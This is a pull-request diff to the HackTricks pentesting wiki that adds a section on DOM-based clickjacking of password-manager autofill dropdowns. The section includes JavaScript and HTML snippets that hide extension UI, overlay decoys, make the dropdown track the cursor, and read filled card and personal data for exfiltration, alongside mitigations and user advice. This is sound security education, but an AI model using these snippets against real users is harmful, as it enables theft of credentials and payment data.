Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -95,10 +95,140 @@ Check the following page to check how a **XSS** in a browser extension was chain
browext-xss-example.md
{{#endref}}

---

## DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.

### Threat model

- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
- Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
- At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).

### Attack flow (manual autofill)

1. Inject an invisible but focusable form (login/PII/credit-card fields).
2. Focus an input to summon the extension’s autofill dropdown near the field.
3. Hide or occlude the extension UI while keeping it interactable.
4. Align a believable control under the hidden dropdown to coerce a click that selects an item.
5. Read filled values from the attacker form and exfiltrate.

### How to hide the autofill UI

- Extension element
- Root element opacity (generic):

```js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
```

- Child inside open ShadowRoot (dynamic tag, hide internal iframe):

```js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
```

- Parent element
- BODY/HTML opacity tricks to make extension UI invisible while page looks normal (e.g., screenshot background):

```js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
```

- Overlay
- Partial overlay: occlude everything but a few pixels so the dropdown remains clickable (ensure attacker overlay is last in DOM with max z-index, or use Top Layer).
- Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:

```html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
```

### Positioning the victim click

- Fixed placement: position the hidden dropdown under a believable control such as “Accept cookies”, “Close”, or a CAPTCHA checkbox.
- Follow-mouse: move the focused input under the cursor so the dropdown tracks it; refocus periodically so a single click anywhere selects an item:

```js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
```

### Universal targeting and state awareness

A single script can detect which manager’s UI is present (root tag names, attributes) and whether it’s locked/unlocked, then choose the right hiding method and timing. This avoids futile attempts when the manager is locked.

### Impact and scenarios

- Attacker-controlled site: one coerced click can exfiltrate credit card data (number/expiry/CVC) and personal info (name, email, phone, address, DOB) that aren’t domain-scoped.
- Trusted site with XSS/subdomain takeover/cache poisoning: multi-click theft of credentials (username/password) and TOTP, because many managers autofill across related subdomains/parent domains (e.g., `*.example.com`).
- Passkeys: if the RP doesn’t bind WebAuthn challenges to the session, XSS can intercept the signed assertion; DOM-based clickjacking hides the passkey prompt to elicit the user’s confirming click.

### Limitations

- Requires at least one user click and decent pixel alignment (realistic overlays make clicks easy to solicit).
- Auto-lock/logout reduces windows of exploitation; some managers still autofill while “locked”.

### Extension developer mitigations

- Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
- Resist CSS tampering: prefer Closed Shadow DOM and monitor with `MutationObserver` for suspicious style changes on UI roots.
- Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable `pointer-events:none`, and use `elementsFromPoint()` to detect occlusion; close UI if overlays exist.
- Detect suspicious `<body>`/`<html>` opacity or style changes both pre- and post-render.
- For iframe-based issues: scope MV3 `web_accessible_resources` `matches` narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`.

### User recommendations

- Keep extensions updated; consider disabling manual autofill and prefer copy/paste or toolbar flows.
- In Chromium, restrict site access to “on click” per site.
- Restrict autofill to exact-URL matches to limit subdomain abuse.

### Notes

- NordPass (Dec 2023) previously allowed iframing its full UI; multiple guided clicks could expose vault items. Mis-scoped `web_accessible_resources` was the root cause (fixed).
- Multiple managers were affected by DOM-based variants historically; many have shipped mitigations by now. Always test against the current version.

## References

- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)

{{#include ../../banners/hacktricks-training.md}}

{{#include ../../banners/hacktricks-training.md}}
14 changes: 11 additions & 3 deletions src/pentesting-web/clickjacking.md
Original file line number Diff line number Diff line change
Expand Up @@ -112,6 +112,16 @@ A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/
> [!WARNING]
> This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**.

### Browser extensions: DOM-based autofill clickjacking

Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.

- For concrete techniques and PoCs see:
-
{{#ref}}
browser-extension-pentesting-methodology/browext-clickjacking.md
{{#endref}}

## Strategies to Mitigate Clickjacking

### Client-Side Defenses
Expand Down Expand Up @@ -212,8 +222,6 @@ if (top !== self) {

- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)

{{#include ../banners/hacktricks-training.md}}



3 changes: 1 addition & 2 deletions src/welcome/hacktricks-values-and-faq.md
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con

> [!TIP]
>
> - **How can I cite a page of HackTricks?**
> - **How can I a page of HackTricks?**

As long as the link **of** the page(s) where you took the information from appears it's enough.\
If you need a bibtex you can use something like:
Expand Down Expand Up @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the

{{#include ../banners/hacktricks-training.md}}